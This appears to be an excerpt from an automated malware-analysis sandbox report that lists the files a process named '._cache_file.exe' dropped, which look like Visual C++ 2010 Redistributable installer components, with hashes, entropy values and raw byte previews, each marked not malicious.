Preview:	..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

C:\36a8a8e2fed651ec27d1eed188bb35\DisplayIcon.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 13 icons, 16x16, 16 colors, 4 bits/pixel, 16x16, 8 bits/pixel
Category:	dropped
Size (bytes):	88533
Entropy (8bit):	7.210526848639953
Encrypted:	false
SSDEEP:	1536:xWayqxMQP8ZOs0JOG58d8vo2zYOvvHAj/4/aXj/Nhhg73BVp5vEdb:e/gB4H8vo2no0/aX7C7Dct
MD5:	F9657D290048E169FFABBBB9C7412BE0
SHA1:	E45531D559C38825FBDE6F25A82A638184130754
SHA-256:	B74AD253B9B8F9FCADE725336509143828EE739CC2B24782BE3ECFF26F229160
SHA-512:	8B93E898148EB8A751BC5E4135EFB36E3AC65AF34EAAC4EA401F1236A2973F003F84B5CFD1BBEE5E43208491AA1B63C428B64E52F7591D79329B474361547268
Malicious:	false
Preview:	..............(...............h...............h...f... .............. .............. ..........^...00......h....#..00..........n)..00...........8........ .h....T.. .... .....&Y..00.... ..%...i........ ._...v...(....... ....................................................................................................w......x......................x..ww...........h...............................w.....w.x..........x................xwvwg.................................................................(....... ...................................jO:.mS?.qWD.v\I.\|cP..kX..q_..sa..yg..{j...p..nh..pj..uo..\|u..xq..\|r..\|u..rx..zy..\|w.}.y...q...d...y...{......S...]..d..i..r..\|...j..j...y...e...k...l..q...y...~...v...y..s..s..m...m...l...n...k...t...l.............................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Print.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.923507556620034
Encrypted:	false
SSDEEP:	24:dOjNyw2aSGZHJi4U7Wf0mDX+QF7s/AemFAh:MjNyw/0NW9DOp/ANC
MD5:	7E55DDC6D611176E697D01C90A1212CF
SHA1:	E2620DA05B8E4E2360DA579A7BE32C1B225DEB1B
SHA-256:	FF542E32330B123486797B410621E19EAFB39DF3997E14701AFA4C22096520ED
SHA-512:	283D381AA396820B7E15768B20099D67688DA1F6315EC9F7938C2FCC3167777502CDED0D1BEDDF015A34CC4E5D045BCB665FFD28BA2FBB6FAF50FDD38B31D16E
Malicious:	false
Preview:	............ .h.......(....... ..... .....@.........................................................................................t?.fR.\|bN.y_K.v\H.rXD.oUA.kQ=.hN:.eK7.cI5.cI5.cI5i.........th<..z............................................cI5.cI5...................................................qXE.cI5.cI5.......~.............................................}eS.kR>.cI5......................................................q`.w^L.cI5..............................z..~n..sb..jX.{bP.t[H..~m..kY.nT@.......................................................{..wf.zaM.......vO.......................q..r`.}cQ.w]J..lZ.......t.x^J...........}Z..................................z`M........{aM...............0..............................jY.{aO...........................................................x^K.x^Kk.....................................................n\.y_L...........................r...............................y_L.x^K&.........................s.............

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Rotate1.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.5118974066097444
Encrypted:	false
SSDEEP:	6:kRKqNllGuv/ll2dL/rK//dlQt0tlWMlMN8Fq/wbD4tNZDlNc367YCm6p+Wvtjlpr:pIGOmDAQt8n+uNbctNZ5w6AsXjKHRp5c
MD5:	26A00597735C5F504CF8B3E7E9A7A4C1
SHA1:	D913CB26128D5CA1E1AC3DAB782DE363C9B89934
SHA-256:	37026C4EA2182D7908B3CF0CEF8A6F72BDDCA5F1CFBC702F35B569AD689CF0AF
SHA-512:	08CEFC5A2B625F261668F70CC9E1536DC4878D332792C751884526E49E7FEE1ECFA6FCCFDDF7BE80910393421CC088C0FD0B0C27C7A7EFF2AE03719E06022FDF
Malicious:	false
Preview:	..............h.......(....... .......................................................................................................................................................................................t.r........................................p.nn.l\|.z..........................................g.e.......................................................................................P.N..........................................P.OG.FP.O..........................................?.>...................................................................................................+...........................................3.2%.$+...........................................!. ............{.{.............................................................................................~.~..................................G.......................................G..........

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Rotate2.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.5178766234336925
Encrypted:	false
SSDEEP:	12:pmZX5+9wQaxWbwW3h/7eHzemn0iLHRp5c:Md5EaxWbh/Cnt4
MD5:	8419CAA81F2377E09B7F2F6218E505AE
SHA1:	2CF5AD8C8DA4F1A38AAB433673F4DDDC7AE380E9
SHA-256:	DB89D8A45C369303C04988322B2774D2C7888DA5250B4DAB2846DEEF58A7DE22
SHA-512:	74E504D2C3A8E82925110B7CFB45FDE8A4E6DF53A188E47CF22D664CBB805EBA749D2DB23456FC43A86E57C810BC3D9166E7C72468FBD736DA6A776F8CA015D1
Malicious:	false
Preview:	..............h.......(....... ...............................................................................................................................................................................................................................................................................................................................................................................r.p..........................................q.oj.hq.o..........................................b.`...................................................................................................J.I..................\|.\|...y.y...............Q.PC.BF.E..........................................>.=.........".!..........................................2.1".!'.&..........................................".!.....................................G.......................................G..........

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Rotate3.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.5189797450574103
Encrypted:	false
SSDEEP:	12:pPrMIMxPWk3AyORrabBQ+gra2/MXWM4xfQHRp5c:1gxPbXlBQ+gr1ffO4
MD5:	924FD539523541D42DAD43290E6C0DB5
SHA1:	19A161531A2C9DBC443B0F41B97CBDE7375B8983
SHA-256:	02A7FE932029C6FA24D1C7CC06D08A27E84F43A0CBC47B7C43CAC59424B3D1F6
SHA-512:	86A4C5D981370EFA20183CC4A52C221467692E91539AC38C8DEF1CC200140F6F3D9412B6E62FAF08CA6668DF401D8B842C61B1F3C2A4C4570F3B2CEC79C9EE8B
Malicious:	false
Preview:	..............h.......(....... .................................................................................................................................................................................................................................................................................................................................................................................................................z.z...{.{...........................................................................................................................................................s.q..........................................y.wl.jl.j...............3.2#."*.)..................f.d.........E.D.........(.'..............................U.TE.DF.E..........................................E.D.....................................G.......................................G..........

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Rotate4.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.5119705312617957
Encrypted:	false
SSDEEP:	6:kRK///FleTxml+SzNaoT9Q0/lHOmMdrYln8OUo/XRWl2XOXFBYpqnHp/p5c:p///FPwxUrMunUofRReFNHRp5c
MD5:	BB55B5086A9DA3097FB216C065D15709
SHA1:	1206C708BD08231961F17DA3D604A8956ADDCCFE
SHA-256:	8D82FF7970C9A67DA8134686560FE3A6C986A160CED9D1CC1392F2BA75C698AB
SHA-512:	DE9226064680DA6696976A4A320E08C41F73D127FBB81BF142048996DF6206DDB1C2FE347C483CC8E0E50A00DAB33DB9261D03F1CD7CA757F5CA7BB84865FCA9
Malicious:	false
Preview:	..............h.......(....... .............................................................................................................................................................................................................y.y...\|.\|.............................................................................................................................................................................................................................................,.+".!,.+.........................................(.'......................................................................................=.<..........................................S.RC.BG.F.............................j.h.........H.G..............................y.wj.hi.g..........................................j.h.....................................G.......................................G..........

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Rotate5.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.5083713071878764
Encrypted:	false
SSDEEP:	6:kRKi+Blqkl/QThulVDYa5a//ItEl/aotzauakg//5aM1lkl05Kaag2/JqnHp/p5c:pXBHehqSayIylrtBg/bk4AgzHRp5c
MD5:	3B4861F93B465D724C60670B64FCCFCF
SHA1:	C672D63C62E00E24FBB40DA96A0CC45B7C5EF7F0
SHA-256:	7237051D9AF5DB972A1FECF0B35CD8E9021471740782B0DBF60D3801DC9F5F75
SHA-512:	2E798B0C9E80F639571525F39C2F50838D5244EEDA29B18A1FAE6C15D939D5C8CD29F6785D234B54BDA843A645D1A95C7339707991A81946B51F7E8D5ED40D2C
Malicious:	false
Preview:	..............h.......(....... .................................................................................................{.{...~.~.......................................................................................}.}.........................................................).(#."2.1..........................................).(...................................................................................................=.<..........................................N.ME.DN.M..........................................M.L.......................................................................................e.c..........................................z.xl.jm.k........................................r.p........................................................................................................................G.......................................G..........

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Rotate6.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.5043420982993396
Encrypted:	false
SSDEEP:	12:pjs+/hlRwx5REHevtOkslTaGWOpRFkpRHkCHRp5c:tZ/u+HeilBh/F+Rd4
MD5:	70006BF18A39D258012875AEFB92A3D1
SHA1:	B47788F3F8C5C305982EB1D0E91C675EE02C7BEB
SHA-256:	19ABCEDF93D790E19FB3379CB3B46371D3CBFF48FE7E63F4FDCC2AC23A9943E4
SHA-512:	97FDBDD6EFADBFB08161D8546299952470228A042BD2090CD49896BC31CCB7C73DAB8F9DE50CDAF6459F7F5C14206AF7B90016DEEB1220943D61C7324541FE2C
Malicious:	false
Preview:	..............h.......(....... .................................................................................................... ............................................$.$ ..0./...........................{.{............ ...........<.;..........................................C.BA.@O.N...............{.{...~.~..................G.F..................................................................................................._.]..........................................n.lg.en.l..........................................p.n...............................................................................................................................................................................................................................................................................................................G.......................................G..........

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Rotate7.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.4948009720290445
Encrypted:	false
SSDEEP:	6:kRKIekllisUriJ2IP+eX8iDml8mS8+hlxllwqlllkg2klHYdpqnHp/p5c:p8os0iieX8iNVHX//x2sHYdoHRp5c
MD5:	FB4DFEBE83F554FAF1A5CEC033A804D9
SHA1:	6C9E509A5D1D1B8D495BBC8F57387E1E7E193333
SHA-256:	4F46A9896DE23A92D2B5F963BCFB3237C3E85DA05B8F7660641B3D1D5AFAAE6F
SHA-512:	3CAEB21177685B9054B64DEC997371C4193458FF8607BCE67E4FBE72C4AF0E6808D344DD0D59D3D0F5CE00E4C2B8A4FFCA0F7D9352B0014B9259D76D7F03D404
Malicious:	false
Preview:	..............h.......(....... ....................................................................................................G.F..........................................H.GG.FX.V..............................).(.........G.F.........i.g..................+.*%.$5.4...............n.ln.l{.y.................. .......................u.s............................................................................................................................................................~.~...~.~.................................................................................................................................................................................................................................................................................................................................................G.......................................G..........

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Rotate8.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.513882730304912
Encrypted:	false
SSDEEP:	12:pPv1OuTerb53mpOBfXjQuZfKWpIXE1D6HRp5c:91OEerb53eUQsflpIP4
MD5:	D1C53003264DCE4EFFAF462C807E2D96
SHA1:	92562AD5876A5D0CB35E2D6736B635CB5F5A91D9
SHA-256:	5FB03593071A99C7B3803FE8424520B8B548B031D02F2A86E8F5412AC519723C
SHA-512:	C34F8C05A50DC0DE644D1F9D97696CDB0A1961C7C7E412EB3DF2FD57BBD34199CF802962CA6A4B5445A317D9C7875E86E8E62F6C1DF8CC3415AFC0BD26E285BD
Malicious:	false
Preview:	..............h.......(....... ....................................................................................................g.e..........................................g.eg.ew.u..............................F.E.........g.e..............................E.DA.@P.O..........................................:.9......................................................................................&.%.........................................+.* ..+.*..................................................................................................................................................{.{.......................................................................................~.~...{.{..............................................................................................................................................G.......................................G..........

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Save.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.824239610266714
Encrypted:	false
SSDEEP:	24:Br5ckw0Pce/WPv42lPpJ2/BatY9Y4ollEKeKzn:h6kPccWPQS2UtEYFEKeu
MD5:	7D62E82D960A938C98DA02B1D5201BD5
SHA1:	194E96B0440BF8631887E5E9D3CC485F8E90FBF5
SHA-256:	AE041C8764F56FD89277B34982145D16FC59A4754D261C861B19371C3271C6E5
SHA-512:	AB06B2605F0C1F6B71EF69563C0C977D06C6EA84D58EF7F2BAECBA566D6037D1458C2B58E6BFD70DDEF47DCCBDEA6D9C2F2E46DEA67EA9E92457F754D7042F67
Malicious:	false
Preview:	............ .h.......(....... ..... .....@........................................................................................klT.de..UV..RS..OP..MM..JJ..GG..DD..AA.x;<.x;<.r99.n67..........kl......D$.G2!...............VMH..>3..=6..91.r99..........op.........q[K.G<4..xh...........s..A5..B<..=5.x;<..........uv...........q[K.....G<4..........tg..KC..ID..B<.}>>..........{\|.............q[K.q[K.q[K.q[K.vbR.}j[..VT..OL..ID..AA...............................yz..qr..kl..]\..VT..PL..DD.....................c`..^V..XK..R?..M4..G(..A...;...]\..VT..GG................fg.................................;...]\..JJ................mn..................................A...gg..MM................vw..................................G(..qr..OP..................................................M4..yz..RS..................................................R?.g33..UV....................................................XK..XY..XY..................................

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\Setup.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 12 icons, 16x16, 16 colors, 4 bits/pixel, 16x16, 8 bits/pixel
Category:	dropped
Size (bytes):	36710
Entropy (8bit):	5.3785085024370805
Encrypted:	false
SSDEEP:	384:IXcWz9GU46B4riEzg8CKcqxkk63gBh6wSphnBcI/ObMFp2rOebgcjTQcho:IMWQ2Bf8qqxMQP8pc4XessTJo
MD5:	3D25D679E0FF0B8C94273DCD8B07049D
SHA1:	A517FC5E96BC68A02A44093673EE7E076AD57308
SHA-256:	288E9AD8F0201E45BC187839F15ACA79D6B9F76A7D3C9274C80F5D4A4C219C0F
SHA-512:	3BDE668004CA7E28390862D0AE9903C756C16255BDBB3F7E73A5B093CE6A57A3165D6797B0A643B254493149231ACA7F7F03E0AF15A0CBE28AFF02F0071EC255
Malicious:	false
Preview:	..............(...............h...............h...V... .............. .............. ..........N...00......h...."..00..........^)..00...........8........ .h....T.. .... ......Y..00.... ..%...i..(....... ....................................................................................................w......x......................x..ww...........h...............................w.....w.x..........x................xwvwg.................................................................(....... ...................................jO:.mS?.qWD.v\I.\|cP..kX..q_..sa..yg..{j...p..nh..pj..uo..\|u..xq..\|r..\|u..rx..zy..\|w.}.y...q...d...y...{......S...]..d..i..r..\|...j..j...y...e...k...l..q...y...~...v...y..s..s..m...m...l...n...k...t...l..........................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\SysReqMet.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.038533294442847
Encrypted:	false
SSDEEP:	24:MuoBP5lj49s9NRDe4LakKcTM8cv99uGzMN:MlFH3/Ri4LaN3q
MD5:	661CBD315E9B23BA1CA19EDAB978F478
SHA1:	605685C25D486C89F872296583E1DC2F20465A2B
SHA-256:	8BFC77C6D0F27F3D0625A884E0714698ACC0094A92ADCB6DE46990735AE8F14D
SHA-512:	802CC019F07FD3B78FCEFDC8404B3BEB5D17BFC31BDED90D42325A138762CC9F9EBFD1B170EC4BBCCCF9B99773BD6C8916F2C799C54B22FF6D5EDD9F388A67C6
Malicious:	false
Preview:	............ .h.......(....... ..... .....@..........................................M...........S...........................................q.......................z...................................;........q.c.P.K.\|.}............C....................................;.!......................................................Ry,.*w..!.............-.........................................6b..8v................ .+.@............#....................4u..;a..............H.<.........=.C.............................&y..x.e.................$}......................................<.).........\.A............}..................................[.R.}.n.Z.C.y.Y.k.L............. q..............................t.s............r...k.........]{G..............................................y.`.z.h.a.N.e.P...............................................~.q._.J...............................8....................t.p..................?..................................................

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\SysReqNotMet.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.854644771288791
Encrypted:	false
SSDEEP:	24:u2iVNINssNQhYMEyfCHWZZ7rTRrbWjcyuE:uDW871fdZ1lbWjME
MD5:	EE2C05CC9D14C29F586D40EB90C610A9
SHA1:	E571D82E81BD61B8FE4C9ECD08869A07918AC00B
SHA-256:	3C9C71950857DDB82BAAB83ED70C496DEE8F20F3BC3216583DC1DDDA68AEFC73
SHA-512:	0F38FE9C97F2518186D5147D2C4A786B352FCECA234410A94CC9D120974FC4BE873E39956E10374DA6E8E546AEA5689E7FA0BEED025687547C430E6CEFFABFFB
Malicious:	false
Preview:	............ .h.......(....... ..... .....@....................................../..F..........!....n....d..................................;.............,+..AB..UV..XZ...1.....S......................U.....................EE..\[..rr......NP.....^..............<s.....................!.$)..AC..jj..ww..{{..57.....4........01.................H..........N?8;..[[..ba..`_..TU....L.......bj]^..QP.........:..........)N#&..>=..GG..HI..IJ..EE..!#......24..mm..hh..,.............+N........)(..-.....{-...-,........ SPS..zy..qr....qq......0NCE..33..%%........ZJ...."$..0/../1....?qRU............W}..)A]^..rr..qq..Y[...._z........CE..RQ..AC....8`79.........SU..ab......\|\|..ef....ey...........QZ[..ZZ..=?.....(...d....................pr.....H............IK..jj..fg..,..........]_..................[y.......(..:VQS..{z..ut..ab....'H...........?................\|\|..ef..jk..................$%d....................W....................................*,n.............................HI......................WY

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\stop.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 6 icons, 32x32, 16 colors, 4 bits/pixel, 16x16, 16 colors, 4 bits/pixel
Category:	dropped
Size (bytes):	10134
Entropy (8bit):	6.016582854640062
Encrypted:	false
SSDEEP:	96:uC1kqWje1S/f1AXa0w+2ZM4xD02EuZkULqcA0zjrpthQ2Ngms9+LmODclhpjdfLt:JkqAFqroMS9lD9Ngr9+m7bxpXHT5ToYR
MD5:	5DFA8D3ABCF4962D9EC41CFC7C0F75E3
SHA1:	4196B0878C6C66B6FA260AB765A0E79F7AEC0D24
SHA-256:	B499E1B21091B539D4906E45B6FDF490D5445256B72871AECE2F5B2562C11793
SHA-512:	69A13D4348384F134BA93C9A846C6760B342E3A7A2E9DF9C7062088105AC0B77B8A524F179EFB1724C0CE168E01BA8BB46F2D6FAE39CABE32CAB9A34FC293E4A
Malicious:	false
Preview:	...... ..........f...........(...N... ..........v...........h....... .... ............... .h....#..(... ...@......................................................................................................wwx...........w....w.........x....x.........x.y.......................p..............x.........q.......p.........q.................xy...........q.......................p.............y..................x.y..............y.y.............yyy.........S........x..........yy.............x.yyyx......................Q.8.........x..............y....qy.p...y.....x.....p........y....9.....y....yy..yx.......y..yyyw..p.....y.yyyyy................x.p........y.yy..........x...x............x.................wwx.....................?...................................................................................................?............(....... ..................................................................................................ww.....w..........xx..x........x....p........xy

C:\36a8a8e2fed651ec27d1eed188bb35\Graphics\warn.ico

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	MS Windows icon resource - 6 icons, 32x32, 16 colors, 4 bits/pixel, 16x16, 16 colors, 4 bits/pixel
Category:	dropped
Size (bytes):	10134
Entropy (8bit):	4.3821301214809045
Encrypted:	false
SSDEEP:	192:USAk9ODMuYKFfmiMyT4dvsZQl+g8DnPUmXtDV3EgTtc:r9wM7pyEBlcgssmXpVUgJc
MD5:	B2B1D79591FCA103959806A4BF27D036
SHA1:	481FD13A0B58299C41B3E705CB085C533038CAF5
SHA-256:	FE4D06C318701BF0842D4B87D1BAD284C553BAF7A40987A7451338099D840A11
SHA-512:	5FE232415A39E0055ABB5250B120CCDCD565AB102AA602A3083D4A4705AC6775D45E1EF0C2B787B3252232E9D4673FC3A77AAB19EC79A3FF8B13C4D7094530D2
Malicious:	false
Preview:	...... ..........f...........(...N... ..........v...........h....... .... ............... .h....#..(... ...@................................................................................................................................................................wwwww.....wwww...................3333333333338...{....3s.....x...{....0G;.............0.;...7.........33....8.....{...33..............0....7...............8.......{....;.............0.;.............0...8...........4...............wu;.............ww;.............ww;?...........;ww;.............7w................................8.............{...................................................................................................................................................................?...?..................................................?...?.........(....... ........................................................................................................333333;...............8.........;........

C:\36a8a8e2fed651ec27d1eed188bb35\ParameterInfo.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (314), with CRLF line terminators
Category:	dropped
Size (bytes):	9752
Entropy (8bit):	3.5715293676289863
Encrypted:	false
SSDEEP:	192:gCEIVvHBZC30jzG2aks2G2XVEP2G2KQ6G2nCw+KFl:JFnGMGZeGPGYCrKFl
MD5:	03E01A43300D94A371458E14D5E41781
SHA1:	C5AC3CD50FAE588FF1C258EDAE864040A200653C
SHA-256:	19DE712560E5A25C5D67348996E7D4F95E8E3DB6843086F52CB7209F2098200A
SHA-512:	E271D52264FF979AE429A4053C945D7E7288F41E9FC6C64309F0AB805CEC166C825C2273073C4EF9CA5AB33F00802457B17DF103A06CBC35C54642D146571BBB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .S.e.t.u.p.V.e.r.s.i.o.n.=.".1...0.".>..... . .<.U.I. .D.l.l.=.".S.e.t.u.p.U.i...d.l.l.". .N.a.m.e.=.".M.i.c.r.o.s.o.f.t. .V.i.s.u.a.l. .C.+.+. .2.0.1.0. . .x.6.4. .R.e.d.i.s.t.r.i.b.u.t.a.b.l.e. .S.e.t.u.p.". .V.e.r.s.i.o.n.=.".1.0...0...3.0.3.1.9.". ./.>..... . .<.C.o.n.f.i.g.u.r.a.t.i.o.n.>..... . . . .<.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . . . .<.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h. .N.a.m.e.=.".c.r.e.a.t.e.l.a.y.o.u.t.". ./.>..... . . . .<./.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . .<.U.s.e.r.E.x.p.e.r.i.e.n.c.e.D.a.t.a.C.o.l.l.e.c.t.i.o.n. .P.o.l.i.c.y.=.".U.s.e.r.C.o.n.t.r.o.l.l.e.d.". ./.>..... . . . .

C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	78152
Entropy (8bit):	6.011592088917562
Encrypted:	false
SSDEEP:	1536:sYNItbBL5NWiiESc0exWZnqxMQP8ZOs0JD9rHUq:sYNAB9NWTZctc/gBJ9oq
MD5:	006F8A615020A4A17F5E63801485DF46
SHA1:	78C82A80EBF9C8BF0C996DD8BC26087679F77FEA
SHA-256:	D273460AA4D42F0B5764383E2AB852AB9AF6FECB3ED866F1783869F2F155D8BE
SHA-512:	C603ED6F3611EB7049A43A190ED223445A9F7BD5651100A825917198B50C70011E950FA968D3019439AFA0A416752517B1C181EE9445E02DA3904F4E4B73CE76
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.................j.}.....].v.....h.w.....\.H...v.e.\|.......B.....h.~.....Y.\|.....].~.....m.~.....l.~.....k.~...Rich............PE..L......K.........."......f...........+............@..........................P............@...... ..................pu..x...Tp..<.......................H....@...... ................................(..@............................................text....e.......f.................. ..`.data................j..............@....rsrc................v..............@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\SetupEngine.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	807256
Entropy (8bit):	6.357664904941565
Encrypted:	false
SSDEEP:	24576:GS62nlYAqK/AitUgiuVQk/oifPNJIkjbSTzR8NmsBJj:GS62nlYAltBjPNJIkHST18QsBJ
MD5:	84C1DAF5F30FF99895ECAB3A55354BCF
SHA1:	7E25BA36BCC7DEED89F3C9568016DDB3156C9C5A
SHA-256:	7A0D281FA802D615EA1207BD2E9EBB98F3B74F9833BBA3CB964BA7C7E0FB67FD
SHA-512:	E4FB7E4D39F094463FDCDC4895AB2EA500EB51A32B6909CEC80A526BBF34D5C0EB98F47EE256C0F0865BF3169374937F047BF5C4D6762779C8CA3332B4103BE3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................&......&.......R.....z.....O.....{......B...........O.....~.....J.....K.....L....Rich...........................PE..L......K.........."!................Y...............................................;.....@.....................................h....................:..X...............................................@............................................text............................... ..`.data...8...........................@....rsrc................f..............@..@.reloc...............p..............@..B........................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\SetupUi.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	295248
Entropy (8bit):	6.262127887617593
Encrypted:	false
SSDEEP:	3072:/LTVUK59JN+C0iy4Ww8oBcPFIOrvHvr8QDZHAAKWiIHT6llN1QkvQZaiionv5y/y:HOoMFrz8ygAKWiiIyKf73w
MD5:	EB881E3DDDC84B20BD92ABCEC444455F
SHA1:	E2C32B1C86D4F70E39DE65E9EBC4F361B24FF4A1
SHA-256:	11565D97287C01D22AD2E46C78D8A822FA3E6524561D4C02DFC87E8D346C44E7
SHA-512:	5750CEC73B36A3F19BFB055F880F3B6498A7AE589017333F6272D26F1C72C6F475A3308826268A098372BBB096B43FBD1E06E93EECC0A81046668228BC179A75
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............I...I...I..bI...I..WI...I..cI..I..ZI...I...IG..I..WI...I..fI...I..RI...I..SI...I..TI...IRich...I................PE..L......K.........."!................................................................yq....@..........................................P...............j..P....`..0?..................................`z..@............................................text............................... ..`.data....Q.......4..................@....rsrc........P......................@..@.reloc...T...`...V..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\SetupUi.xsd

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (335), with CRLF line terminators
Category:	dropped
Size (bytes):	30120
Entropy (8bit):	4.990211039591874
Encrypted:	false
SSDEEP:	768:hlzLm8eYhsPs05F8/ET/chT+cxcW8G2P4oeTMC:1wchT+cxcDm
MD5:	2FADD9E618EFF8175F2A6E8B95C0CACC
